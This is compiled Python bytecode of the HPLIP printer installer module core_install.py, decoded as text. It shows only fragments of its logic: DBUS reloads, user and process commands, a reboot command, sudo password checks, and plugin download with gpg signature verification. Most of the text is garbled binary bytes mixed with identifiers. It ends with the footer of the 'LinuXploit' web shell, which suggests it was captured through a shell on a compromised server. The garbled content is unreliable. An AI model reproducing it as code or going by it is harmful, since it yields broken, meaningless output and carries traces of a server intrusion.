RRR((s*/usr/share/hplip/installer/core_install.pytrun_post_builds

cCsg}|io6|ido(|i|idtidn|ioXtd}|oAti	i
tiddd|}|i|i|qn|i
dd}|oJti	i
tid	d	d
|tif}|i|i|n|S(NRAssh /etc/init.d/dbus reloads4Will reload DBUS configuration for PolicyKit supportRQtkills %dRERtusermods %s %s(R}RRR,RRRRt
get_ps_pidR`RRRRRRtusername(RRRRRER((s*/usr/share/hplip/installer/core_install.pyRs
&/cCswt}tid}|oWdtii|dtif}|i|}|i	|\}}|dj}n|S(Ntpkills%s -KILL -u %si(
RpRRR`RRRRR,R(RRRRRR((s*/usr/share/hplip/installer/core_install.pytlogoff5s"cCsnt}tid}|oNdtii|d}|i|}|i|\}}|dj}n|S(Ntshutdowns	%s -r nowi(RpRRR`RRR,R(RRRRRR((s*/usr/share/hplip/installer/core_install.pytrestartBscCsXd}tid}|o
d}nd}ti||i|\}}|djS(Nishp-setups
./setup.py(RRRRR(RRthpsetupRR((s*/usr/share/hplip/installer/core_install.pytrun_hp_setupOs

cCst}|i||id}|ok|dj	o&||d|i|\}}n|djo'|i|_|ip
t}qqn|S(NR+sRemoving old HPLIP versioni(Rutstop_pre_2x_hplipRnRvRRRsRp(RRtfailedR+RR((s*/usr/share/hplip/installer/core_install.pytremove_hplip]s




cCsdd}tii|oG|i|}|dj	o||dn|i|\}}ndS(Ns/etc/init.d/hplip stopsStopping old HPLIP version.(R`RR R,RvR(RRthplip_init_scriptRRR((s*/usr/share/hplip/installer/core_install.pyRqs
cCs|id}xto||_|id}ti||i|\}}ti|ti||djo#|dj	o|ddntS|dj	o|ddd|n|d7}|djotSqWdS(NittrueiRsPassword accepteds'Password incorrect. %d attempt(s) left.i(	tclear_su_sudo_passwordRuRdR,RRRRvRp(Rtpassword_entry_callbackRR
RRR((s*/usr/share/hplip/installer/core_install.pytcheck_password}s&








cCs5|idjotid|idndS(NtsudosClearing password...ssudo -K(RoRRR(R((s*/usr/share/hplip/installer/core_install.pyRs
cCsHti|_tid|id|i|_tid|idS(NsPlug-in version=%sshplip-%s-plugin.runs
Plug-in=%s(RR`R{RRR|(R((s*/usr/share/hplip/installer/core_install.pytset_plugin_versionscCsd}tidd}tiido
d}n@tiitii|dodtii|d}ntid||S(	Nshttp://hplip.sf.net/plugin.conftdirsthomes/etc/hp/plugin.confsfile:///etc/hp/plugin.confsplugin.confsfile://sPlugin.conf url: %s(R_RR`RR RRR(RRR((s*/usr/share/hplip/installer/core_install.pytget_plugin_conf_urls
"cCsItddddf\}}}}}|ip!tidddddtfSti\}}	tii|	oti	|	nzyt
i||	|\}
}Wn9tj
o-}tid|i
ddddtfSXtii|	p!tidddddtfSti}
y|
i|	Wn<titifj
o$tidddddtfSXy^|
i|id}|
i|id	}|
i|id
}|
i|id}t}Wn@ttifj
o+tid|iddddtfSXWdti|ti	|	X|||||fS(
NigRs#Could not create plug-in directory.s
I/O Error: %ssplugin.conf not found.sError parsing file - 404 error?Rtsizetchecksumt	timestamps/Error reading plugin.conf: Missing section [%s](Rptcreate_plugin_dirRRRtmake_temp_fileR`RR tremoveturllibturlretrieveRtstrerrortConfigParserRtMissingSectionHeaderErrortParsingErrorRR{tgetinttgetfloatRuRtNoSectionErrorR(Rtplugin_conf_urlRRRRRRt
local_conf_fpt
local_conftfilenametheaderstet
plugin_conf_p((s*/usr/share/hplip/installer/core_install.pytget_plugin_infosD$





cCstii|ipsy<tid|itidti|idtSWqt	t
fj
o}tid|it
SXntS(NsCreating plugin directory: %siisUnable to create directory: %s(R`RR RzRRRatmakedirsRuRRRRRp(RR((s*/usr/share/hplip/installer/core_install.pyRs

cCsqd}xMtiD]?\}}|djoPnti||o||7}qqWtid||djS(sr
        Example code from David Mertz' Text Processing in Python.
        Released in the Public Domain.
        gg?sFile error page score: %fg?(terr_patstitemsR[RaRR(Rtpaget	err_scoretpattprob((s*/usr/share/hplip/installer/core_install.pytisErrorPages

c
Cstid|i||if|ipt|ifStii|i|i	}yt
i|||\}}Wntj
o}	t
|	ifSX|it|dido7tit|didti|t
dfStt|di}
tid|
|d}|d}tid|i||fyt
i|||\}}Wntj
o}	t|	ifSX|it|dido4tit|diti|tdfStid}
|
otii|
d}
d	|
}tid
||i|\}}|djot|fSd|
||f}tid
||i|\}}ti|tid|
|f|djot|fSnt|fS(Ns0Downloading %s plug-in file from '%s' to '%s'...RiisD/L file checksum=%ss.ascsBDownloading %s plug-in digital signature file from '%s' to '%s'...tgpgsI%s --no-permission-warning --keyserver pgp.mit.edu --recv-keys 0x9013c005sReceiving digital keys: %sis)%s --no-permission-warning --verify %s %ss&Verifying plugin with digital keys: %ss
%s status: %d(RRR{RzRt$PLUGIN_INSTALL_ERROR_DIRECTORY_ERRORR`RRR|RRRt*PLUGIN_INSTALL_ERROR_PLUGIN_FILE_NOT_FOUNDRRRRRRt*PLUGIN_INSTALL_ERROR_DIGITAL_SIG_NOT_FOUNDRRtinfoRt(PLUGIN_INSTALL_ERROR_UNABLE_TO_RECV_KEYSt$PLUGIN_INSTALL_ERROR_DIGITAL_SIG_BADtPLUGIN_INSTALL_ERROR_NONE(RRRRRRtplugin_fileRRRt
calc_checksumt
digsig_urltdigsig_fileRRRR((s*/usr/share/hplip/installer/core_install.pytdownload_pluginsR 
"


"




cCsQtititiddd}|otidntid|S(Ntplugint	installedt0splugin is installedsplugin is not installed(t	sys_stateRRRRRR(Rtis_installed((s*/usr/share/hplip/installer/core_install.pytcheck_for_pluginEs

cCsstii|i|i}tii|ptS|tjotid|djStid|djSdS(Nssh %s --nox11 -- -uissh %s --nox11 -- -i(	R`RRRzR|R RptGUI_MODEtsystem(RRbRR((s*/usr/share/hplip/installer/core_install.pyt
run_pluginOs
cCsqtii|i|i}|d}tii|oti|ntii|oti|ndS(Ns.asc(R`RRRzR|R tunlink(RRR((s*/usr/share/hplip/installer/core_install.pyt
delete_plugin[s
N(bRRRRRRvRRRRRRRR"RR/R0RRRRRRRRRRRRRRRRRRRRRRLRRRRRRRRRRRRRRYRjRkR,RoRpRRnRsRvRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR(((s*/usr/share/hplip/installer/core_install.pyRs\	
N	J	0		[																				
									
										%	k	
				
			$											$	

		
	
						0		?	
(<RR`tos.pathR[RRtgrptpwdttarfileRRR<RRtbase.gt
base.codesRGRR	tdcheckRkRlRt
MODE_CHECKRRR~RRRRRRRRRt/PLUGIN_INSTALL_ERROR_PLUGIN_FILE_CHECKSUM_ERRORtPLUGIN_INSTALL_ERROR_NO_NETWORKRRRRtEOFtTIMEOUTtEXPECT_WORD_LISTRRRR\tIRWt	TypeErrorRRUtCONFIGURE_ERRORSt	functoolsRRtobjectR(((s*/usr/share/hplip/installer/core_install.pyt<module>s



	

	


	

Youez - 2016 - github.com/yon3zu
LinuXploit